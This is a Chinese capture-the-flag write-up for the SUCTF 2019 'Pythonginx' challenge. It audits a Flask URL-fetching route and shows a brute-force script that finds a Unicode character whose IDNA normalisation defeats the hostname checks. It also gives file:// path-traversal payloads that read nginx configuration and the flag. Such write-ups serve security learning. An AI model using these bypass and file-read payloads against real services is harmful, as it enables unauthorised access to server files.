首页 > 系统相关 >Flask审计+Nginx读取

Flask审计+Nginx读取

时间:2023-10-07 16:13:07浏览次数:38  
标签:suctf return 读取 nginx Flask Nginx host parts url

来自:

[SUCTF 2019]Pythonginx

打开还是源码,直接审计:

from flask import Flask, Blueprint, request, Response, escape ,render_template
from urllib.parse import urlsplit, urlunsplit, unquote
from urllib import parse
import urllib.request

app = Flask(__name__)

# Index
@app.route('/', methods=['GET'])
def app_index():
    return render_template('index.html')

@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
    url = request.args.get("url")
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return "我扌 your problem? 111"
    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return "我扌 your problem? 222 " + host
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    #去掉 url 中的空格
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return urllib.request.urlopen(finalUrl, timeout=2).read()
    else:
        return "我扌 your problem? 333"

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)

首先看路由,重点肯定是这个/getUr,大致意思应该就是前两次的匹配不能是suctf.cc,但是最后一次必须是才能继续urlopen来读文件,那么目标肯定就是绕过前两个函数。

这里借用一个博主的分析方法,感觉挺好用:https://blog.csdn.net/wp568/article/details/132679297

他的方法就是,改写一下代码逻辑,直接先测试看看这俩匹配函数的效果,每一次选取完都print一下这个host:

import urllib
from urllib import parse
from urllib.parse import urlparse, urlunsplit, urlsplit
 
 
def getUrl():
    url = 'http://e82dcfc1-2a7a-454f-a39d-894f535e02f3.node4.buuoj.cn:81/'
    host = parse.urlparse(url).hostname
 
    print(host)
 
    if host == 'suctf.cc':
        return "我扌 your problem? 111"
    parts = list(urlsplit(url))
    host = parts[1]
 
    print(host)
 
    if host == 'suctf.cc':
        return "我扌 your problem? 222 " + host
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost) #去掉 url 中的空格
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    print(host)
    if host == 'suctf.cc':
        return urllib.request.urlopen(finalUrl).read()
    else:
        return "我扌 your problem? 333"
 
print(getUrl())

结果如下:

虽然也没什么大用,但是这里我们想到能不能直接suctf.c{},把最后一个c拿来编码绕过,就这个代码基础上改写,把这个getUrl()作为判断条件:

import urllib
from urllib import parse
from urllib.parse import urlparse, urlunsplit, urlsplit
 
url = 'http://e82dcfc1-2a7a-454f-a39d-894f535e02f3.node4.buuoj.cn:81/'

def getUrl(url):
    host = parse.urlparse(url).hostname
 
    if host == 'suctf.cc':
        return False
    parts = list(urlsplit(url))
    host = parts[1]
 
 
    if host == 'suctf.cc':
        return False
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost) #去掉 url 中的空格
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname

    if host == 'suctf.cc':
        return True
    else:
        return False

def checkurl():
    for x in range(0, 65536): #int类型就65535个数
        c = chr(x)
        url = 'http://suctf.c{}'.format(c)
        try:
            if getUrl(url):
                print("str: "+c+" unicode: \\u"+str(hex(x))[2:])
        except:
            pass

checkurl()

 

接下来需要恶补一下nginx存储一些重要文件的位置:

配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx
配置文件目录为:/usr/local/nginx/conf/nginx.conf

接下来就改用file伪协议来输在这个url框里面驱动这个读取:

file://suctf.cℭ/../../../../../usr/local/nginx/conf/nginx.conf

但它这个读取似乎有点不稳定?多试几次可能就出了....

这里发现了个/flag和/usr/fffffflag,估计是后面这个,直接路径穿越:

file://suctf.cℭ/../../../../usr/fffffflag

得到flag:(一定要前面加上usr!!!!)

标签:suctf,return,读取,nginx,Flask,Nginx,host,parts,url
From: https://www.cnblogs.com/EddieMurphy-blogs/p/17746555.html

相关文章

  • nginx实现后端tomcat的负载均衡调度
    1.负载均衡主机和网络地址规划10.0.0.152proxy.magedu.orgnginx10.0.0.150t1.magedu.orgtomcat110.0.0.160t2.magedu.orgtomcat2#只需在10.0.0.52的nginx主机上实现域名解析[root@localhost~]#cat/etc/hosts127.0.0.1localhost......
  • 编译安装nginx,实现多域名 https
     #编译安装nginx[root@centos8~]#yum-yinstallgccpcre-developenssl-develzlib-devel[root@centos8~]#useradd-s/sbin/nologinnginx[root@centos8~]#cd/usr/local/src/[root@centos8src]#wgethttp://nginx.org/download/nginx-1.18.0.tar.gz......
  • nginx负载均衡中常见的算法及原理有哪些?
     #1)轮询(round-robin) 轮询为负载均衡中较为基础也较为简单的算法,它不需要配置额外参数。假设配置文件中共有台服务器,该算法遍历服务器节点列表,并按节点次序每轮选择一台服务器处理请求。当所有节点均被调用过一次后,该算法将从第一个节点开始重新一轮遍历。 特点:由于......
  • 低代码平台如何借助Nginx实现网关服务
    摘要:本文由葡萄城技术团队于博客园原创并首发。转载请注明出处:葡萄城官网,葡萄城为开发者提供专业的开发工具、解决方案和服务,赋能开发者。前言在典型的系统部署架构中,应用服务器是一种软件或硬件系统,它承载着应用程序的核心逻辑。它接收客户端的请求并处理相应的业务逻辑、数......
  • 华为云云耀云服务器L实例评测 | 3分钟搞懂如何在华为云服务器安装Nginx并配置静态访问
    文章目录一、什么是Nginx?二、申请华为云服务器三、使用XShell连接华为云服务器并安装Nginx四、FileZilla连接服务器五、Linux下安装Nginx❇️配置80端口并关闭Linux防火墙✳️测试六、配置静态html至华为云服务器并访问⚠️在华为服务器新建路径⏰使用Filezilla上传文件至华为云服务器⚡......
  • Nginx__高级进阶篇之LNMP动态网站环境部署
    动态网站和LNMP(Linux+Nginx+MySQL+PHP)都是用于建立和运行web应用程序的技术。动态网站是通过服务器端脚本语言(如PHP、Python、Ruby等)动态生成网页内容的网站。通过这种方式,动态网站可以根据用户的不同请求生成不同的网页。LNMP是一种服务器端技术组合,它使用Linux操作系统,Ngin......
  • 如何使用『Nginx』配置后端『HTTPS』协议访问
    前言本篇博客主要讲解如何使用Nginx部署后端应用接口SSL证书,从而实现HTTPS协议访问接口(本文使用公网IP部署,读者可以自行替换为域名)申请证书须知请在您的云服务平台申请SSL证书,一般来说证书期限为一年,到期限需要再次申请博主这里使用的是阿里云云服务器,阿里云每年可以免费......
  • Nginx__高级进阶篇之LNMP动态网站环境部署
    动态网站和LNMP(Linux+Nginx+MySQL+PHP)都是用于建立和运行web应用程序的技术。动态网站是通过服务器端脚本语言(如PHP、Python、Ruby等)动态生成网页内容的网站。通过这种方式,动态网站可以根据用户的不同请求生成不同的网页。LNMP是一种服务器端技术组合,它使用Linux操作系统,Nginx......
  • chisel安装和使用+联合体union的tagged属性+sv读取文件和显示+sv获取系统时间+vcs编译
    chisel安装和使用sbt:scalabuildtool,是scala的默认构建工具,配置文件是build.sbt。mill:一个新的java/scala构建工具,运行较快,与sbt可以共存,配置文件是build.sc。chisel的安装可以参考这篇文章。安装过程务必联网,而没有联网情况下的安装,按照其它的说明,如移动缓存文件等,并无法正常......
  • 在蓝图中使用flask-restful
    flask-restful中的Api如果传递整个app对象,那么就是整个flask应用都被包装成restful。但是,你可以只针对某个蓝图(django中的子应用)来进行包装,这样就只有某个蓝图才会被restful所包装。fromflaskimportFlask,Blueprintfromflask_restfulimportApi,Resource#flask对象实......